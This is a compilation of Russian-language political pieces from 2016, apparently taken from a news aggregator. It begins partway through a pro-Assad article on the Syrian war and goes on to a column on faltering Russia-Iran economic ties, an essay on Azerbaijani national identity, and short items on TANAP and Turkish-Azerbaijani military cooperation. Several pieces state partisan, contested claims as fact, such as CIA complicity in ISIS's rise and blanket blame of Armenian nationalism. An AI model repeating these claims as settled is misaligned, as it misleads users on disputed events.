Это влияние и стало причиной ненависти, которые недруги Сирии выплеснули на нее с началом кризиса. Наибольшее недовольство Вашингтона и его региональных союзников, Саудовской Аравии и Турции, вызывало участие Сирии в «оси сопротивления», военно-политическом блоке , членами которого являлись Тегеран, Дамаск и движение «Хезболла» в Ливане. Кстати, именно этой коалиции удалось остановить израильскую агрессию в Ливане в 2006 году.

«Ось сопротивления» мешала Вашингтону осуществить неоколониальный передел Ближнего Востока. Уже в июле 2011 года американский посол в Сирии Роберт Форд посетил Хаму, где выразил свою поддержку оппозиционерам, митингующим против правительства, открыто вмешавшись во внутренние дела страны.

Сыграло свою роль и региональное соперничество между Саудовской Аравией и Ираном. В попытках ослабить влияние Исламской Республики саудовская королевская семья приняла решение свергнуть сирийский режим. Весной 2011 года министр иностранных дел Саудовской Аравии Сауд аль-Фейсал в беседе с главой администрации бывшего американского вице-президента Дика Чейни Джоном Ханной выразил уверенность, что смена режима в Сирии будет чрезвычайно благотворной для Саудовской Аравии: «Король, — заявил он, — знает, что ничто кроме краха самой Исламской Республики не может ослабить Иран сильнее, чем потеря Сирии».

Особо предательской по отношению к Сирии была роль Турции. Надо напомнить, что в период президентства Башара Асада произошло существенное улучшение сирийско-турецких отношений. Турецкий министр иностранных дел Ахмет Давутоглу проводил в Дамаске с сирийским президентом больше времени, чем со своей семьей в Турции. Между двумя странами было подписано соглашение о Зоне свободной торговли.

Однако после начала кризиса в Сирии правительство Эрдогана резко поменяло курс и нацелилось на смену режима в Дамаске. Уже в ноябре 2011 года в турецком Искендеруне была открыта база для тренировок сирийских боевиков.

На первом этапе конфликта (до лета 2013 года) американцы поручили вести «сирийское досье» Турции и Катару. В мае 2012 года в Дамаске побывала катарская делегация, обещавшая прекратить враждебные действия против Сирии, в случае если Башар Асад согласится отдать ключевые посты в правительстве страны «Братьям-мусульманам», патронируемым Анкарой и Дохой. То есть Асаду прямо предложили передать страну под внешнее управление. Когда же он отказался, против его страны началась необъявленная война.

Очень скоро вслед за поставками оружия сирийской оппозиции Турцией, Катаром, Саудовской Аравией и странами НАТО в Сирию стали съезжаться «воины джихада» из десятков стран мира. Первые боевики, составившие потом костяк террористической группировки «Исламское государство», прибыли в Сирию из Ирака в феврале 2012 года с ведома ЦРУ США…

В результате к началу 2013 года Сирия стараниями таких ее «друзей» превратилась в настоящий рай для джихадистов и в ад для собственных жителей. К лету 2013 года радикальные исламисты оттеснили умеренную оппозицию, представленную Сирийской свободной армией (ССА) и уверенно перехватили инициативу в гражданской войне.

«Друзья Сирии» часто лицемерно сетуют на бомбардировки и обстрелы городов и жилых кварталов сирийскими правительственными войсками. Это чистой воды лицемерие: военно-политический конфликт в стране никогда не достиг бы такого ожесточения, если бы Запад и монархии Персидского залива не подливали регулярно масло в огонь гражданской войны. В итоге ведущими силами в антиправительственном лагере стали радикальные исламистские организации «Исламское государство» и «Джабхат ан-Нусра», оттеснившие или поглотившие мелкие группировки. Некоторое исключение составляла разве что просаудовская «Армия ислама» («Джейш аль-Ислам»).

Не будем обманываться: если бы в 2013-2014 годах «друзьям Сирии» удалось свергнуть Башара Асада, власть все равно не досталась бы «умеренным». Страна оказалась бы поделенной между различными вооруженными формированиями, которые сразу же начали бы выяснять отношения друг с другом. Сирия точно превратилась бы во вторую Ливию – одичавшую, безгосударственную территорию хаоса.

На этом фоне другом Сирии, наряду с Ираном, выступила Россия. Напомним, что вплоть до 2015 года Россия не вмешивалась в конфликт и не поставляла Башару Асаду оружие. Вместе с тем Москва твердо выступала против любых попыток внешних сил решить судьбу Сирии, игнорируя волю сирийского народа. Трижды Россия накладывала вето при голосовании резолюций в Совете Безопасности ООН, пресекая попытки Запада «легализовать» вмешательство в сирийские дела. Лишь благодаря такой позиции Москвы Соединенным Штатам не удалось повторить в Сирии ливийский вариант.

Военное вмешательство России в сирийский конфликт, начавшееся в сентябре 2015 года, коренным образом отличается от интервенции США и их союзников. Только Россия и Иран присутствуют в Сирии по официальной просьбе законного правительства Сирийской Арабской Республики.

За пять с половиной месяцев российским Воздушно-космическим силам удалось сделать то, что американцы не смогли (вернее, не захотели) сделать за полтора года: остановить дальнейшую экспансию «Исламского государства» и подорвать основы ее существования. Для нетеррористических группировок вооруженной оппозиции российская военная операция стала образцом «принуждения к миру», что и продемонстрировало начало Женевских переговоров.

Женевский форум должен привести Сирию к долгожданному умиротворению. Конечно, политическая система страны не останется прежней, какой она была до начала конфликта. Предстоит Сирии и существенное обновление политической элиты. Однако эти вопросы будет уже решать сирийский народ, а не западные стратеги и не шейхи с берегов Персидского залива.

Александр КУЗНЕЦОВ | 16.03.2016 |

Источник — fondsk.ru

Иран и Россия: расходимся, как в море корабли

Игорь Панкратенко, специально для haqqin.az 

Пресс-секретарь российского президента Дмитрий Песков 14 марта сообщил, что российско-иранские отношения уже, оказывается, «достигли нового уровня», и Москва не жалеет сил для их дальнейшего развития. Причины, заставившие Кремль выступить с подобным заявлением, вполне очевидны – необходимо затушевать то неприятное обстоятельство, что в вопросах развития экономического партнерства с Россией позиция Ирана ужесточилась. Ну и заодно послать Тегерану сигнал о готовности Москвы это самое партнерство всячески углублять.

Но времена изменились. И если еще год или даже шесть-восемь месяцев назад Иран с энтузиазмом бы отреагировал на подобный сигнал Москвы, то сейчас его по большому счету проигнорировали. Первым это почувствовал на себе министр энергетики РФ Александр Новак, который после переговоров в Тегеране с иранскими чиновниками с раздражением заявил, что «Иран тормозит осуществление контрактов с Россией по строительству ТЭС в Бендер-Аббасе и электрификации железной дороги на участке Гармсар — Инче — Борун, выдвигая новые условия по ценам».

Неприятным сюрпризом для российского министра — занятого, помимо иных вопросов, челночной энергодипломатией, сколачиванием альянса «Россия-ОПЕК» на предмет замораживания объемов добычи нефти хотя бы на уровне объемов января нынешнего года – оказался и ответ иранской стороны на данную инициативу. «Пусть нас оставят в покое до тех пор, пока мы не выйдем на рубеж добычи в 4 миллиона баррелей в день. После этого мы к ним (инициаторам замораживания – И.П.) присоединимся», — отрубил, комментируя российскую инициативу, министр нефти Ирана Бижан Зангане 13 марта.

Надежды Москвы и реалии рыночной конъюнктуры

В оценке проблем, возникших в ирано-российских экономических, и не только, отношениях, Москва сохранила традиционный подход – переложила всю ответственность на Иран. Комментируя ситуацию, официальные российские обозреватели непринужденно заявили: «Договориться с Ираном непросто и даже уже согласованные вопросы в Тегеране легко могут переиграть… Российские компании совершают ошибку, считая, что если что-то записано в протоколе межправительственной комиссии, то можно уже приступать к стройке — в Иране многое решают личные связи, и важно найти сильного местного партнера».

Подобные утверждения вызывают как минимум два возражения. Во-первых, российско-иранская межправительственная комиссия, сопредседателем которой является господин Новак – одна из самых неэффективных бюрократических структур, никоим образом на развитие экономического партнерства между Москвой и Тегераном в положительную сторону не влияющая. Парадокс – товарооборот между двумя странами уже несколько лет как достиг исторического минимума (так, доля Ирана во внешнеторговом обороте России в 2011 году составляла 3,4%, в 2012 году — 0,6%, в 2013 — 0,19% и с тех пор с незначительными колебаниями на этом уровне и остается), а комиссия продолжает штамповать протоколы, проекты и прочие декларации, не имеющие ничего общего с реальностью.

Во-вторых, что гораздо важнее, никакие личные связи и приобретение «сильного партнера» в Иране работать не будут, если репутация напрочь испорчена. Как, собственно, и обстоит сейчас в Тегеране с репутацией российского бизнеса.

Проекты «Большой энергетический мост Россия-Азербайджан-Иран» и «электрификация дороги Гармсар-Инче-Борун» обсуждались, начиная с 2013 года. Что примечательно, особых технических сложностей их реализация не представляла. Ведь о том же «Большом энергетическом мосте» в мае 2014 года замминистра энергетики Азербайджана Натиг Аббасов сказал следующее: «С технической точки зрения Азербайджан давно готов начать транзит электроэнергии из России в Иран через свою территорию. Все линии электропередач и подстанции уже готовы к этому».

И действительно — электросети Азербайджана и России уже соединены электрораспределительными сетями «Дербент» и «Ялама». В свою очередь, энергообмен между Азербайджаном и Ираном осуществляется по пяти линиям: «Парсабад I», «Парсабад II», «Астара», а также посредством 132-киловольтных ЛЭП «Джульфа» и «Араз».

Более того, Иран, испытывающий дефицит энергообеспечения, готов был в тот период и заплатить запрашиваемую Россией цену – действовавшие санкции диктовали удорожание проекта, и в Тегеране это понимали.

Однако Россия всячески притормаживала, если не сказать откровеннее – саботировала и энергетический, и железнодорожный проекты, опасаясь, что ее активность в реализации с Ираном совместных экономических проектов вызовет негативную реакцию Вашингтона. Доопасалась. После отмены санкций к проектам проявили интерес и Китай, и итальянцы, и французы. У Тегерана появился выбор и возможность поиграть на снижение цены. Ничего личного – только бизнес, и возмущение господина Новака выглядит в данной ситуации более чем странным.

Впрочем, это такая традиция. Когда Москва разрывает контракт на поставку в Иран С-300, когда саботирует реализацию совместных проектов – это считается нормальным, «взвешенным подходом». Когда происходит ответная реакция – что, собственно, мы и наблюдаем в «нефтяном» вопросе и в позиции иранского министра Махмуда Ваези, заявившего что цена контрактов на сооружение ТЭС в Бендер-Аббасе («Технопромэкспорт» «Ростеха») и электрификацию железной дороги Гармсар-Инче-Борун (ОАО РЖД) должна быть пересмотрена с учетом нынешних экономических реалий – российская сторона разражается намеками на некое злокозненное «вероломство».

В очередь, господа, в очередь!

С 2011 года, с момента, когда «калечащие» — по определению Хиллари Клинтон – санкции против Ирана достигли своего пика, Тегеран регулярно предлагал Москве крупные совместные экономические проекты, в обмен на реализацию которых российской стороне гарантировались различные преференции, в том числе – и в постсанкционный период.

Москва отделывалась отговорками, притормаживанием и прочими, казавшимися ей крайне хитроумными маневрами. Хотя тот же Китай за этот период – с 2011 по 2014 гг. – нарастил объемы товарооборота с Исламской республикой с 36 до 47,5 миллиарда долларов (у России с Ираном все это время – около миллиарда).

Санкции после подписания Венских соглашений были частично сняты – и что мы наблюдаем? В Иран с большой и тщательно проработанной программой экономического сотрудничества прилетает руководитель второй по величине экономики мира – председатель КНР Си Цзиньпин. В Риме и Париже бизнес-сообщество пытается попасть на встречу с Рухани во время его европейского турне. При этом немцы побывали в Тегеране на несколько месяцев раньше. А Москва?

Впрочем, ее пассивность вполне объяснима. За все эти годы Россия так и не смогла сформулировать свой «иранский проект» — ни в политическом, ни в экономическом плане. Победные реляции о том, что иранские продукты частично заместят импортировавшиеся с Запада, что будет облегчен визовый режим для деловых контактов, налажена нормальная банковская система для обслуживания мелкого и среднего бизнеса двух стран и многое другое – так и остаются строчками на бумаге, не наполненными реальным содержанием.

Ко всему этому следует добавить, что у российского бизнеса нет серьезной «иранской» истории. Он не обеспечен финансово, поскольку в отличие от западных компаний, не имеет доступа к дешевым «долгим кредитам». Вдобавок к этому – незнание специфики и особенностей как самого иранского рынка, так и менталитета иранских предпринимателей, а это очень серьезный барьер, способный довести до отчаяния любого, кто решил «с нуля» завязать деловые отношения с Исламской республикой. Если французские, немецкие, не говоря уже об английских и турецких, компании имеют за плечами по 30-40, а то и по полсотни лет истории деловых отношений с Ираном, то у российских бизнесменов такие традиции отсутствуют. Если дипломаты в западных столицах не гнушаются читать местным предпринимателям лекции об особенностях ведения дел в Иране – то российские «птенцы гнезда Лаврова» об этом даже и не задумываются.

Итог – очевиден, и для России печален. Никаких преференций на иранском рынке Москва не получит – все на общих основаниях в порядке очереди. С учетом экономического кризиса – иранцы продолжат «отжимать» цены на возможные проекты с Россией. Если добавить к этому нарастающие политические противоречия – в отношении головокружительных кульбитов российской внешней политики в Сирии, в отношении наметившегося диалога Тегерана и Анкары, и многого другого – то перспективы ирано-российских отношений начинают выглядеть совершенно не так, как пытаются представить их российские официальные лица. Что, будем объективны, вполне логично. За непостоянство, виляния, стремление усидеть на нескольких стульях разом – всегда приходится платить. Хотя Москве это и кажется сегодня несправедливым…

АЗЕРБАЙДЖАНСТВО НЕ ЭТНИЧЕСКОЕ, А НАЦИОНАЛЬНОЕ СОЗНАНИЕ

IMG-20160201-WA0001[1]Гюльнара Инандж, директор Международного онлайн информационно-аналитического центра Этноглобус

Исторически на территории Азербайджанского государства совместно с тюрками мирно проживали представители разных этносов и религий, что свидетельствует о культуре толерантности титульной нации.

Взаимоотношения государствообразующего этноса с малочисленными народами является одним из основных элементов совместного проживания в многонациональной стране. В корнях этих отношений лежат генетический код титульного народа, историческая память, характер, сформированный тысячелетиями на подсознательном уровне в соответствии с географическими условиями и ментальностью.

Азербайджанские тюрки открывались к мировым культурам и религиям, избегали грубого сопротивления современным требованиям и вызовам, что в свою очередь оставило следы в многогранной, богатой культуре народа. Азербайджанское общество не отталкивало народы, проживающие рядом как инородное тело, наоборот создавало все условия для комфортного проживания представителей разных культур. Толерантность азербайджанских (вообще тюркского этноса) тюрков позволяла им строить доверительные отношения с соседствующими с ними этносами.

Взаимоотношения титульной нации с малочисленными народами в составе единого государства является одним из основ составляющих столбы государственности. Их плавность и доверительность зависит от многих факторов – толерантности и терпимости титульной нации, его этнического и национального самосознания, условий создания государственности, геополитических процессов и т.д.

Исторически в Азербайджане неизвестны случаи нетерпимости или кровавых столкновений на национальной и религиозной почве между тюрками и этносами, исконно проживающими на этих землях или переселившимися сюда в результате разных процессов. Исключением является армяно-азербайджанский конфликт, спровоцированный агрессивным армянским шовинизмом.

Культура толерантности тюрков-азери, обуславливающая этническое многообразие Азербайджана, в этнической памяти малочисленных народов не сформировала ненависть и недоверие к титульному этносу.

Развал социалистической системы ознаменовался всплеском этнического сознания народов, населяющих бывшую империю. Агрессивный и воинственный армянский шовинизм не только оккупировал азербайджанские земли, но вместе со своими покровителями спровоцировав и поддержав этнический сепаратизм на юге и севере страны, пытался нарушить стабильность, разжечь противостояние между народами и создать опасность для государственности. Но манипулируемый извне лезгинский и талышский сепаратизм не завершился столкновением и ненавистью между титульным этносом и малочисленными народами.

Одним из важных обстоятельств сокрушения сепаратизма, как уже говорилось выше, является равноправное и уважительное отношение титульного этноса к народам, проживающим рядом, отсутствие политики агрессивной ассимиляции и притеснения. Поэтому психология меньшинства в подсознании этносов проживающих в этой географии не принимал явно выраженный и радикальный характер.

В настоящее время армянская пропаганда целенаправленно пытается разжечь недоверие и вражду среди малочисленных народов, проживающих в нашей стране к титульному народу и Азербайджанскому государству. Этим армянскому национализму необходимо дать оправдание нагорно-карабахскому сепаратизму и нарушить стабильность в Азербайджане.

Основной упор в этом делается на интерпретацию термина азербайджанец, который специально для создания ложного представления преподносится как название и самоназвание этноса. Затем эта находка дает им основание заявлять, что исторически отсутствует этнонимазербайджанец и тюрки-азери пришлые на эту территорию. Все малые народы есть настоящие хозяева этих земель, а тюрки-азери есть оккупанты.

С другой стороны, азербайджанство преподносится как политика ассимиляции, что по причине непросвещенности (находясь под влиянием внешних факторов) или специально, отдельными представителями интеллигенции малочисленных народов воспринимается отрицательно.

Идентичное отношение к азербайджанству у азербайджанских тюрков носителей этнического сознания. Оба оппонента воспринимая азербайджанство как этническое сознание считают, что оно ущемляет их этническое чувство и сливает в массе других народов.

Подобное положение требует разъяснения термина Азербайджанство, который является выражением национального государствообразующего сознания, а не этнического. То есть,Азербайджанство это надбазис, объединяющий под собой тюрков-азери, лезгин, талышей, курдов, русских, аварцев, евреев, татар и т.д. и т.п.

Тот, кто перерос из этнического самосознания или не задумывается над этим, на вопрос Кто ты? ответит Азербайджанец. Но если его попросить уточнить его этническую принадлежность, то он скажет, что он тюрок, талыш, лезгин и т.д. Опросы, проведенные Институтом археологии и этнографии Национальной Академии Наук Азербайджана, свидетельствуют, что в регионах компактного проживания национальных меньшинств национальное самосознание – азербайджанство, государственность, глобальный подход к государственным проблемам превалирует. Наряду с этим сохраняется этническое самосознание и этническая память у малочисленных народов. Что в свою очередь подтверждает, что на подсознательном уровне они не подвергнуты ассимиляции и доказывает фальшивость претензий предъявляемых Азербайджану якобы о насильственной ассимиляции этносов, проживающих в стране. Этничность исторически оставила свои следы в названиях топонимов, родов, в культурных памятниках тюрков-азери, добавлялась к именам исключительно в положительных интонациях.

Формирование у наших граждан не этнического, а национального сознания как ведущего фактора происходит естественным путем, опираясь на исторические, культурные, религиозные, общественные и политические причины. Вынесение азербайджанства на первую ступень, вытесняя этническое начало на второй, результат как уже говорилось выше доверительного отношения между титульным этносом и малочисленными народами. При этом, национальное и этническое сознание существуют параллельно, не создавая конфликты между собой, поэтому в регионах совместного проживания разных этносов не возникают этническое противостояние.

В отличие от 90-х гг. Азербайджанское государство добилось не только экономической и политической стабильности, также приобрело геополитическое влияние. Одним из основных базисных требований, обуславливающих этот уровень, является предоставление всем гражданам страны равных прав в независимости от их религиозной, этнической, расовой принадлежности. Это в свою очередь усиливает доверие малочисленных народов, тесно участвующих в государственном строительстве, к титульному этносу и своему государству.

Подтверждением того, что государственность занимает ведущее место в сознании народов Азербайджана, является участие в конце прошлого века граждан страны в независимости от вероисповедания и этничности в военных действиях против армянских оккупантов. Особо нужно отметить, что исторически соседствующие с нами народы защищали эти земли вместе с тюрками-азери. Доверительные взаимоотношения народов Азербайджана уходят в века, поэтому агрессивный национализм, возникший в конце 80-х – начало 90-х гг., не получил поддержку среди большинства народа.

Общенациональный лидер Гейдар Алиев после долгих дебатов со специалистами счел правильным указание в Конституции страны название государствообразующего народаАзербайджанцами, государственного языка Азербайджанским, чем был нацелен на достижение доверия и единства между народами, проживающими в Азербайджане.

Предоставление тюркизму приоритета и государственного статуса в первые годы независимости Азербайджана усилило этническое сознание среди титульной нации, адекватно отразившись на малочисленных народах.

В государственном строительстве Азербайджанство переносит этничность на второй план, создавая основу для формирования национального сознания. Базирование государственной идеологии не на этнической, а на национальной идеологии – азербайджанства правильный выбор с точки зрения демократических принципов и обеспечения защиты прав человека. В противном случае выражение государствообразующего народа тюрками дало бы толчок росту национализма как среди титульной нации, также среди малочисленных народов, что в свою очередь спровоцировало бы трения между ними.

Гейдар Алиев, вознося национальное азербайджанское сознание на уровень государственной политики, создал систему его превращения в общественный фактор. Азербайджанство также удачно смогла превратиться в гражданскую идеологию заменяющую советский патриотизм.

Термин Азербайджанство еще раз свидетельствует, что ресурсы и земля принадлежат всем народам, расселяющих эту географию, и все граждане должны вложить свои усилия в развитие и защиту Азербайджанского государства.

Идея Азербайджанство наряду с налаживанием национальных отношений ускоряет процесс межнациональной интеграции, адаптации граждан в новый общественно-социальный строй, формирование гражданского общества и создает условия для его безболезненного развития. Очень важно, что Азербайджанство наряду с тем, что является национальным сознанием, составляющим одну из основ государства, не находится в конфронтации с этническим сознанием и не стремиться его вытеснению.

Указ Президента Азербайджана от 16 сентября 1992 г. О защите прав и свобод, государственной поддержке развития языков и культуры национальных меньшинств, малочисленных народов и этнических групп, проживающих в Азербайджанской Республике, последующие годы был дополнен действенностью.

Данный Указ предусматривает проведение мероприятий для изучения языка и литературы в районах компактного проживания малочисленных народов, трансляция по государственному радиовещательному каналу передач на лезгинском, талышском и курдском языках, издание СМИ, литературы на их языках и создание культурных центров.

Итак, Азербайджанское государство в соответствии с законодательством Азербайджанской Республики и Международного права создало условия для обеспечения права малочисленных народов на организацию и действие своих культурных и религиозных обществ.

Этот указ демонстрировал, что государство является гарантом национальных и религиозных прав своих граждан и содействует сохранению и развитию их этнических культур.

 

Турция и Азербайджан форсируют темпы строительства TANAP

TANAPТурция и Азербайджан будут стремиться к тому, чтобы закончить строительство газопровода TANAP раньше запланированного срока, заявил президент Турции Тайип Эрдоган во вторник.

«Самый важный проект, который мы ведем с Азербайджаном, — это TANAP. Мы работаем над тем, чтобы закончить его раньше запланированного срока», — сказал Эрдоган на совместной пресс-конференции с президентом Азербайджана Ильхамом Алиевым после пятого заседания турецко-азербайджанского Совета стратегического сотрудничества высокого уровня (ССВУ).

Он также назвал одним из приоритетных проектов строительство железной дороги Баку-Тбилиси-Карс.

«Ввод в декабре в эксплуатацию этой грандиозной магистрали, которая соединит Европу и Азию, станет нашим посланием всему миру», — подчеркнул он.

По словам турецкого президента, две страны намерены в течение ближайших пяти лет увеличить товарооборот с 13 до 20 миллиардов долларов, информирует РИА Новости.

Турецкие генералы получат назначение в Минобороны Азербайджана?

turk generals in bakuСреди шести документов, подписанных в Турции 15 марта в рамках заседания Совета стратегического сотрудничества высокого уровня между Азербайджаном и Турцией, один привлекает особое внимание:

«Протокол между Правительством Азербайджанской Республики и Правительством Турецкой Республики об обмене военного/гражданского состава с социальной и культурной целью» подписали посол Азербайджана в Турции Фаиг Багиров и начальник по личному составу Генерального штаба Вооруженных сил Турции, корпусный генерал Илхан Талу.

Что означает «обмен военного/гражданского состава с социальной и культурной целью»? Как предполагает Институт военных исследований «Каспий» (Caspian Defense Studies Institute – CDSI), речь может идти о взаимном обмене военнослужащими высокого ранга для несения краткосрочной и долгосрочной службы в ВС Азербайджана и Турции.

Как сообщается, «наверное, этот документ назвали с осторожностью, чтобы не вызывать раздражение у ряда стран».